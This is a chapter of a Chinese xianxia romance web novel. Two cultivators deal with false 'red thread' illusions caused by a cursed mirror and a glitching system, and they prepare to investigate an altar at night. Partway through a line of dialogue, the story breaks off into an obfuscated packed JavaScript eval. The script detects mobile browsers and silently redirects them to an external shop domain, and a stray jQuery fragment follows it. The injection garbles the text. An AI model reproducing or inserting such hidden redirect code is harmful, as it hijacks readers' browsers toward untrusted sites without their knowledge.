傍晚晚风穿过长廊,白日喧嚣残留的热气渐渐散尽,一众弟子三三两两走下白玉台阶,沿路仍低声议论白日那场荒唐告白。幻境带来的冲击还未消散,有人幡然醒悟满心羞惭,也有人依旧半信半疑,暗自揣测祝星遥方才的说辞是否另有隐情,细碎闲话如同漫天飞絮,无声在各座山峰四下传开。
苏灵柚手里攥着卷成团的手绘稿,被几名同门围在廊下。往日爱说爱笑的少女垂着脑袋,耳根烧得发烫,纸上满满都是她画的云疏寒与白祈夜相伴图景,边角写满凭空脑补的相逢桥段,此刻再看只觉难堪。身边师妹轻声打趣,她慌忙将画稿往袖深处塞,嘴上辩解只是一时受幻境蛊惑,心底却生出异样感触:方才高台之上,云疏寒的目光自始至终落在祝星遥身上,半分不曾分给白祈夜,这般亲近绝非寻常同门可比。
陆清禾走在人群靠后位置,掌心紧紧攥着留有篡改字迹的姻缘玉简,玉面微凉,搅得她心绪纷乱。白日亲眼目睹框架外泄的乱码异象,又听闻白祈夜亲口证实神魂遭浊气侵扰,多年深信红线便是天命的念头早已摇摇欲坠。宗门姻缘卷宗还静置于藏书阁文书架,昨日她才工整誊录下二人相关情分,白纸黑字已成在册记录,若是搁置便是未尽掌卷之责;可继续采信幻境假象,又会源源不断给缠情鉴输送众生执念,助长祸根。两种心思在心底反复拉扯,她脚步不自觉放缓,打算入夜后返回藏书阁翻阅古籍,找寻能够佐证或是推翻红线定论的记载。
江听澜跟在一众长老身侧,往日随口打趣的笑意尽数敛去,眉宇间添了几分沉肃。白日祝星遥仅凭言语暂时压下集体执念,终究只是治标之法。后山缠情鉴本体完好无损,只要世人心底尚存半分臆想,姻缘框架便会再度捕捉心绪,催生全新虚假红线。他暗自打算寻机会单独同二人细说祭坛潜藏的凶险,顺带递上门山灵气异动的勘察笔录。
高台朱门之下,人群已然散尽,只剩云疏寒与祝星遥并肩而立。落日碎金洒落在二人白衣上,两道身影紧紧相贴,在地面融成一片柔和轮廓。白日接连周旋耗空祝星遥大半神识,腕间雷痕灼痛断断续续反复发作,她下意识抬手揉搓手腕,眉尖轻轻蹙起。
云疏寒一眼捕捉到她细微的神情变化,无需多言,直接抬袖渡去绵长温润的灵力,丝丝缕缕抚平经脉里的烧灼痛感。四下没有外人观望,她不必再端起一贯清冷道君的疏离姿态,肩头微微偏向祝星遥,二人衣料相互轻擦,细微触感清晰落在彼此身上。
“今日辛苦你。”她声线压得极低,只飘进祝星遥耳中,清冷音色掺着一丝不易察觉的柔软,“换作旁人,根本扛不住满殿接踵而来的诘问。”
祝星遥侧头望向她,眼底漾起几分无奈笑意,语气带着惯有的轻吐槽:“我不撑着又能如何,总不能任由满堂之人沉溺自我脑补,白白给后山邪祟输送执念。方才一番说辞只能暂时稳住众人思绪,等几日过后记忆淡去,这些流言只怕又会死灰复燃。”
话音刚落,识海弹出断续乱码弹窗,扭曲字符不停跃动,浮起一层淡红警示微光。
【系统乱码涌动:宗门执念残留淤积,缠情鉴正在蚕食细碎心绪,短期极易催生新的虚假姻缘短线。】
祝星遥扫过识内提示暗自苦笑,这套故障系统对坊间八卦感知格外敏锐,可追查缠情鉴本源的线索却始终一片空白。
云疏寒顺着她沉下去的神色猜出内里境况,指尖轻轻搭在她腕骨,灵力输送不曾中断:“夜里回寒云殿歇息,我备好安神灵膏,能够缓解雷痕灼痛。后山祭坛之事不宜拖延,等入夜山门弟子全都安歇之后,我们再动身前往祭坛探查。”
祝星遥轻轻颔首应下,心底藏着一层浅浅郁结。白日幻境之中,所有人都满心期盼云疏寒接纳白祈夜的告白,无人留意她藏在一旁的焦灼难堪,这般场面若是反复上演,难免心生滞涩。她刻意压下这份私情杂念,根除邪祟才是眼下头等大事,可抬眼对上云疏寒全然落在自己身上的目光,那点隐忍心绪又悄然翻涌上来。
云疏寒将她所有细微情绪尽收眼底,心中分明却不曾直白戳破。她素来不擅长直白吐露心意,只会以行动流露偏袒:白日全程贴身相护,暗中分走她的神识损耗,此刻又细心记挂她的伤势与后山探查的一应安排。长老弟子面前恪守道君威仪,唯有同祝星遥独处之时,一身冷硬外壳尽数卸下,只剩纯粹柔软。
二人并肩走下白玉长阶,沿路余下弟子远远望见,纷纷自觉避让,不敢上前搭话。白日幻境闹剧历历在目,众人再不敢随意上前撮合、打探二人往来,擦肩而过时,目光总会不自觉停在两道相依的身影上,心底各式猜想无声盘旋,无形中又埋下一场误会闹剧的引子。
【识海碎片乱码跳闪:捕捉多段零散八卦执念,执念值小幅上涨,短线红线生成概率提升。】
旁人一念起伏,无形情丝便悄然滋生蔓延。
行至山门岔路,陆清禾早已等候在此,看见二人走近立刻上前拱手行礼,掌心托着那枚玉简,神色满是纠结愧疚:“道君,祝师妹,白日过后我反复思索卷宗一事,心中始终难安。先前仅凭幻境便记录二人情分,等同于助长邪祟气焰,可卷宗属于宗门存档文书,贸然涂改又不合规矩,不知二位可有稳妥处置的法子?”
祝星遥并未有半分责怪,温声安抚道:“大师姐恪尽职守并无过错,症结根源不在卷宗,而是缠情鉴借姻缘框架篡改人心视野。你可先在相关篇目批注标注清楚,写明内容全系幻境催生的虚假情愫,等我们封印古鉴、根除祸根之后,再统一修正卷宗记录,两边都能周全。”
陆清禾闻言心头大石落地,连连道谢,主动提出入夜留守藏书阁翻阅古籍,搜寻缠情鉴与姻缘框架的上古记载,为二人后山探查多添几分依据。三人简单商议片刻,陆清禾便转身赶往藏书阁,步履轻快不少,长久郁结的执念终于寻到折中化解的法子。
不多时江听澜寻至岔路口,手中递上一卷薄帛,上面记录近三日各处山峰灵气紊乱点位:“各峰皆有稀薄灰雾浮动,全是缠情溢散的浊气,入夜后山阴气最重,你们二人探查千万不可大意。若是遇上大规模幻境反扑,可捏碎帛内传讯符,我即刻带人赶赴祭坛支援。”
云疏寒接过帛书仔细收好,淡淡出声道谢。江听澜目光扫过二人相贴的衣袖,收去往日打趣的心思,只留下几句稳妥叮嘱,便转身前往长老居所安排山门值守调度。
岔路再无往来行人,整条山道只剩云疏寒与祝星遥相伴同行。暮色漫过层层青松,山间覆上沉沉暗影,晚风裹着草木清寒扑面而来,四下寂静,恰好容二人卸下对外的所有伪装,道出不便当众诉说的心绪。
祝星遥缓步走在身侧,指尖无意识摩挲腕间紫黑雷痕,轻声开口:“方才高台之上,看着满堂人都在等你的答复,我心底难免别扭。明明一切都是系统制造的假象,旁人却理所当然将你与旁人捆绑,反倒好似我是多余之人。”
这番心思藏了许久,四下无人方才轻声道出,没有半分激烈怨意,只藏着一丝隐忍委屈。
云疏寒脚步微微一顿,转过身正对她,抬手指腹极轻擦过她腕间灼痕,声线轻而笃定:“旁人所见尽数虚妄,我的心意从不受幻境、红线与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819335|211116||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
众人揣测左右。自始至终,放在心上的人只有你一个,旁人如何看待,于我而言毫无分量。”
晚风撩动二人白衣衣摆,边角轻轻交缠,一缕缱绻无声漫开。祝星遥抬眼望进她澄澈眼眸,连日流言、幻境、雷罚积攒的烦闷瞬间消散大半,心底酸涩尽数化作暖意。她清楚二人如今受制于邪祟危局与仙门身份,心意只能暗自隐忍,可这般无声相守,已是当下最好的慰藉。
云疏寒见她神色舒展,再度抬步前行,说起入夜探查的安排:“寒云殿密室备有清心熏香,出发之前你可静坐片刻平复神识,熏香能够隔绝邪祟幻音。我已备好护身灵玉,等回到殿中便交于你佩戴,最大程度削弱雷罚反噬带来的伤痛。”
祝星遥一一应下,沿路偶尔撞见晚归内门弟子,远远望见二人相伴模样,纷纷低头快步避让,不敢上前打扰,私下依旧低声闲谈。无需旁人刻意撮合,仅凭二人独处的画面,便能滋生全新八卦猜想,源源不断为缠情鉴供给众生执念。
抵达寒云殿时殿门无风自开,屋内早已备好温热灵茶与淡青色安神灵膏。云疏寒示意祝星遥落座,取来盛放药膏的玉盒,指尖沾取少许,轻柔敷在腕间雷痕之上,动作细致轻柔,唯恐加重灼痛。
指尖相触一瞬,祝星遥心头微微一乱,垂眸避开她的视线,轻声打趣掩饰慌乱:“这般细致照料,若是被弟子撞见,又要生出一堆全新CP传闻。”
云疏寒指尖不曾停下,抬眼望向她,眼底漾开浅淡软意:“旁人如何猜想都无妨,我不必为了规避流言刻意疏远你。”
一句坦荡直白,褪去道君自持的所有克制,内里柔软心意藏不住。祝星遥一时失语,安静任由她敷好药膏,殿内一片安宁,唯有窗外松风缓缓流动,双向隐忍的情愫静静在一室静谧里铺展,不必言说,二人彼此心知。
待灵膏敷妥,云疏寒收好玉盒,取出江听澜交付的帛书平铺案上,二人俯身一同查看山门浊气分布点位,细细规划后山探查路线,避开弟子常去的灵田与修行峰,尽量不暴露行踪,防止催生更多执念滋养邪祟。
祝星遥指尖点在帛书上祭坛位置,神色凝重:“古籍记载缠情鉴扎根祭坛地底,一旦察觉我们打算封印本体,便会释放全域幻境,到时候全山门弟子都会坠入虚假情爱,众生执念疯狂暴涨,我的雷罚强度也会成倍叠加。”
云疏寒指尖轻轻覆在她手背上稳稳按住,语调沉稳笃定:“有我同你一同前往,届时我以一身纯粹清寒道力布下隔绝屏障,将浊气锁在祭坛之内,不让幻境扩散至整座仙山。”她袖下指节几不可察微微收紧,早已暗自推演过雷罚反噬的痛楚,“纵使雷罚降临,我也会分走大半伤害,绝不会让你独自承受。”
二人相视一眼,眼底皆是笃定。前路幻境与雷罚双重凶险,只要彼此相伴,便无所畏惧。
天色彻底沉为墨蓝色,点点星子爬上夜空。祝星遥走到殿外廊下,望向后山方向,厚重黑雾如巨大帷幕牢牢裹住整片祭坛,雾中丝丝灰红细线不停向外飘送,正是缠情鉴持续吸纳众生执念的明证。
白日大殿的闹剧仅仅只是开端,祭坛地底的邪祟积蓄多日力量,只等二人踏入,便会释放覆盖全山的终极幻境,掀起一场规模远超今日的全员误会风波。
云疏寒走到她身侧,指尖轻轻扣住她的掌心,无声予她依靠。二人心中皆清楚,今夜后山之行,便是直面所有乱象根源的关键一战,缠情鉴与这套姻缘框架之间,恐怕还藏着更深的旧日纠葛。可山门各处的风月传闻依旧会暗中蔓延,下一场漫天误会,已然在黑雾之下悄然酝酿。